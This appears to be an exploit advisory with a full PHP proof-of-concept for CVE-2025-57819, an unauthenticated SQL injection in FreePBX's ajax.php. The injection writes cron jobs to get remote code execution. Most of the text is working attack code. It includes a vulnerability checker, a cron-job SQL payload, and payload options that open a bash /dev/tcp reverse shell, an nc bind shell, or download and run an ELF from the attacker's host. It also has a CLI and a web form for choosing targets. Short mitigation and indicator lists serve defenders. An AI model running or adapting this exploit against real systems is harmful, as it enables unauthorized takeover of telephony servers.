============================================================================================================================================= | # Title : FreePBX 17.0.3 Unauthenticated SQL Injection in ajax.php | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.freepbx.org/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/209776/ & CVE-2025-57819 [+] Summary : SQL Injection Point: brand parameter in /admin/ajax.php Database Access: FreePBX database user has privileges to modify cron jobs Cronjob Execution: Injected cron jobs are executed by the system Command Execution: Arbitrary commands executed via cron [+] Key Features Unauthenticated Access: No credentials required Automatic Cleanup: Removes created cron jobs after execution Multiple Payloads: Support for various payload types Web Interface: User-friendly web interface for testing Vulnerability Checking: Automated detection of vulnerable systems [+] Payload Types Command Execution: Basic system commands Reverse Shell: Connect back to attacker machine Bind Shell: Open listening port on target Meterpreter: Advanced payload delivery [+] Security Impact Complete system compromise Unauthorized access to telephony infrastructure Data exfiltration capabilities Persistence establishment Lateral movement opportunities [+] Indicators of Compromise: Unusual cron job entries SQL errors in web logs Unexpected network connections Modified database entries [+] Mitigation Steps: Update to FreePBX 15.0.66, 16.0.89, or 17.0.3 Implement web application firewall rules Restrict access to admin interfaces Monitor cron job modifications Regular security assessments [+] POC : php poc.php or http://127.0.0.1/poc.php target = $target; $this->port = $port; $this->ssl = $ssl; $this->base_path = rtrim($base_path, '/'); $this->timeout = 30; $this->job_name = null; } /** * Check if target is vulnerable */ public function check() { echo "[*] Checking FreePBX vulnerability...\n"; $random_str = $this->random_text(4); $payload = $random_str . "'"; $response = $this->send_ajax_request($payload); if ($response && $response['code'] == 500) { if (strpos($response['body'], 'You have an error in your SQL syntax') !== false) { echo "[+] ✓ Target is vulnerable - SQL injection detected\n"; return "vulnerable"; } elseif (strpos($response['body'], 'Trying to access array offset on value of type bool') !== false) { echo "[+] ✓ Target is vulnerable - Error-based SQLi confirmed\n"; return "vulnerable"; } } echo "[-] ✗ Target is not vulnerable or patched\n"; return "safe"; } /** * Execute the exploit */ public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) { echo "[*] Starting FreePBX exploitation...\n"; // Generate random names $module_name = $this->random_text(6); $this->job_name = $this->random_text(6); // Generate payload command $command = $this->generate_payload($payload_type, $lhost, $lport); if (!$command) { echo "[-] Failed to generate payload\n"; return false; } echo "[*] Generated command: " . htmlspecialchars($command) . "\n"; // Build SQL injection payload $sql_payload = "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) "; $sql_payload .= "VALUES ('{$module_name}','{$this->job_name}','{$command}',NULL,'* * * * *',30,1,1) -- "; echo "[*] Sending SQL injection payload...\n"; $response = $this->send_ajax_request($sql_payload); if ($response && $response['code'] == 500) { if (strpos($response['body'], 'Trying to access array offset on value of type bool') !== false) { echo "[+] ✓ Successfully created cronjob: '{$this->job_name}'\n"; echo "[*] Waiting for cronjob to trigger (up to 60 seconds)...\n"; // Wait for execution sleep(70); return true; } } echo "[-] Failed to create cronjob\n"; return false; } /** * Clean up created cronjob */ public function cleanup() { if (!$this->job_name) { echo "[-] No cronjob to clean up\n"; return false; } echo "[*] Attempting to clean up cronjob: '{$this->job_name}'\n"; $cleanup_payload = "'; DELETE FROM cron_jobs WHERE jobname='{$this->job_name}' -- "; $response = $this->send_ajax_request($cleanup_payload); if ($response && $response['code'] == 500) { if (strpos($response['body'], 'Trying to access array offset on value of type bool') !== false) { echo "[+] ✓ Cronjob removed successfully\n"; $this->job_name = null; return true; } } echo "[-] Failed to remove cronjob - manual cleanup required\n"; return false; } /** * Send AJAX request with SQL injection payload */ private function send_ajax_request($brand_payload) { $url = $this->build_url('/admin/ajax.php'); $params = [ 'module' => 'FreePBX\\modules\\endpoint\\ajax', 'command' => 'model', 'template' => $this->random_text(5), 'model' => $this->random_text(5), 'brand' => $brand_payload ]; $query_string = http_build_query($params); $full_url = $url . '?' . $query_string; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $full_url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', CURLOPT_HEADER => true ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response) { $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); return [ 'code' => $http_code, 'headers' => $headers, 'body' => $body ]; } return false; } /** * Generate different payloads */ private function generate_payload($type, $lhost, $lport) { switch ($type) { case 'reverse_shell': if (!$lhost || !$lport) { echo "[-] IP and port required for reverse shell\n"; return false; } // Bash reverse shell return "bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'"; case 'bind_shell': if (!$lport) { echo "[-] Port required for bind shell\n"; return false; } return "nc -lvp {$lport} -e /bin/bash"; case 'command': return 'id; whoami; uname -a; pwd'; case 'meterpreter': if (!$lhost || !$lport) { echo "[-] IP and port required for meterpreter\n"; return false; } // This would typically download and execute a meterpreter payload return "wget http://{$lhost}:8080/payload.elf -O /tmp/payload.elf && chmod +x /tmp/payload.elf && /tmp/payload.elf"; default: return 'id; whoami'; } } /** * Generate random text */ private function random_text($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $result = ''; for ($i = 0; $i < $length; $i++) { $result .= $chars[rand(0, strlen($chars) - 1)]; } return $result; } /** * Build full URL */ private function build_url($path) { $protocol = $this->ssl ? 'https' : 'http'; $full_path = $this->base_path . $path; return "{$protocol}://{$this->target}:{$this->port}{$full_path}"; } /** * Destructor - auto cleanup */ public function __destruct() { if ($this->job_name) { $this->cleanup(); } } } // CLI Interface if (php_sapi_name() === 'cli') { echo " ╔══════════════════════════════════════════════════════════════╗ ║ FreePBX RCE Exploit ║ ║ CVE-2025-57819 ║ ║ PHP Implementation ║ ╚══════════════════════════════════════════════════════════════╝ \n"; $options = getopt("t:p:s:u:c:P:L:H:", [ "target:", "port:", "ssl", "uri:", "check", "payload:", "lhost:", "lport:" ]); $target = $options['t'] ?? $options['target'] ?? null; $port = $options['p'] ?? $options['port'] ?? 80; $ssl = isset($options['s']) || isset($options['ssl']); $base_uri = $options['u'] ?? $options['uri'] ?? '/'; $check_only = isset($options['c']) || isset($options['check']); $payload_type = $options['P'] ?? $options['payload'] ?? 'command'; $lhost = $options['H'] ?? $options['lhost'] ?? null; $lport = $options['L'] ?? $options['lport'] ?? 4444; if (!$target) { echo "Usage: php freepbx_exploit.php [options]\n"; echo "Options:\n"; echo " -t, --target Target host (required)\n"; echo " -p, --port Target port (default: 80)\n"; echo " -s, --ssl Use SSL (default: false)\n"; echo " -u, --uri Base URI path (default: /)\n"; echo " -c, --check Check only (don't exploit)\n"; echo " -P, --payload Payload type: command, reverse_shell, bind_shell, meterpreter (default: command)\n"; echo " -H, --lhost Listener host for reverse shell\n"; echo " -L, --lport Listener port for reverse shell (default: 4444)\n"; echo "\nExamples:\n"; echo " php freepbx_exploit.php -t 192.168.1.100 -c\n"; echo " php freepbx_exploit.php -t freepbx.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n"; exit(1); } $exploit = new FreePBXExploit($target, $port, $ssl, $base_uri); if ($check_only) { $result = $exploit->check(); echo "\n[*] Result: {$result}\n"; } else { if ($exploit->exploit($payload_type, $lhost, $lport)) { echo "[+] Exploitation completed successfully\n"; } else { echo "[-] Exploitation failed\n"; } } } else { // Web Interface $action = $_POST['action'] ?? ''; if ($action === 'check' || $action === 'exploit') { $target = $_POST['target'] ?? ''; $port = $_POST['port'] ?? 80; $ssl = isset($_POST['ssl']); $base_uri = $_POST['uri'] ?? '/'; $payload_type = $_POST['payload_type'] ?? 'command'; $lhost = $_POST['lhost'] ?? ''; $lport = $_POST['lport'] ?? 4444; if (empty($target)) { echo "
$output"; // Show cleanup option if ($action === 'exploit') { echo ''; } } // Show back link echo 'Back to Form'; } elseif ($action === 'cleanup') { $target = $_POST['target'] ?? ''; $port = $_POST['port'] ?? 80; $ssl = isset($_POST['ssl']); $base_uri = $_POST['uri'] ?? '/'; if (empty($target)) { echo "
$output"; echo 'Back to Form'; } } else { // Display the form echo '
Vulnerability: Unauthenticated SQL Injection in ajax.php
Affected Versions: FreePBX prior to 15.0.66, 16.0.89, 17.0.3
Endpoint: /admin/ajax.php
Impact: Remote Code Execution via cronjob injection
CVSS Score: 9.8 (Critical)
Exploit Chain: SQL Injection → Cronjob Creation → RCE